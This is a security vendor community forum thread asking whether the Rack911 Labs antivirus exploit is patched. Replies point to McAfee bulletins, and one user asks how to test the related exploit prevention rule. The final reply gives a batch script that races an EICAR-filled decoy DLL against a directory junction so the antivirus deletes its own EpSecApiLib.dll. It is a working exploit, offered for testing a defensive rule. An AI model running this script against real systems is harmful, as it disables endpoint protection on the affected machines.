Exploit in McAfee Endpoint Security

[User58617863]

Hi, we would like to verify if the exploit provided by rack911labs is already fixed? This was identified way back 2018. https://www.rack911labs.com/research/exploiting-almost-every-antivirus-software/

[rfranci]

Hi @User58617863 ,

We do have fix for it.

Kindly see the below article for more details :

https://kc.mcafee.com/corporate/index?page=content&id=SB10254

Thank you,

Rohit Francis 

[Former Member · Accepted solution]

Hello,

Please find the Security Bulletin released by McAfee with detailed information:

https://kc.mcafee.com/corporate/index?page=content&id=SB10316

https://kc.mcafee.com/corporate/index?page=content&id=KB92752

Was my reply helpful?
If you find this post useful, Please give it a Kudos! Also, Please don't forget to select "Accept as a solution" if this reply resolves your query!

[User58617863]

Thank you so much Sir Vivs!

[Nielsb]

Hi

I would like to test the exploit prevention rule in report mode and I'm looking for a offical test script of McAfee for step 10 in KB92752.

"8. save the rule, and then save the settings.

9. Enforce the policy to a client system.

10. Validate the new Expert Rule on the client system."

https://kc.mcafee.com/corporate/index?page=content&id=KB92752

Thanks!

[jmcg]

It's not official but you can back up "EpSecApiLib.dll" and test this script in a batch :

:loop
rd /s /q C:\Users\Username\Desktop\exploit
mkdir C:\Users\Username\Desktop\exploit
echo X5O!P%@AP[4\PZX54(P^^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* > C:\Users\Username\Desktop\exploit\EpSecApiLib.dll
rd /s /q C:\Users\Username\Desktop\exploit
mklink /J C:\Users\Username\Desktop\exploit “C:\Program Files (x86)\McAfee\Endpoint Security\Endpoint Security Platform”
goto loop

After your test done, restore your "EpSecApiLib.dll"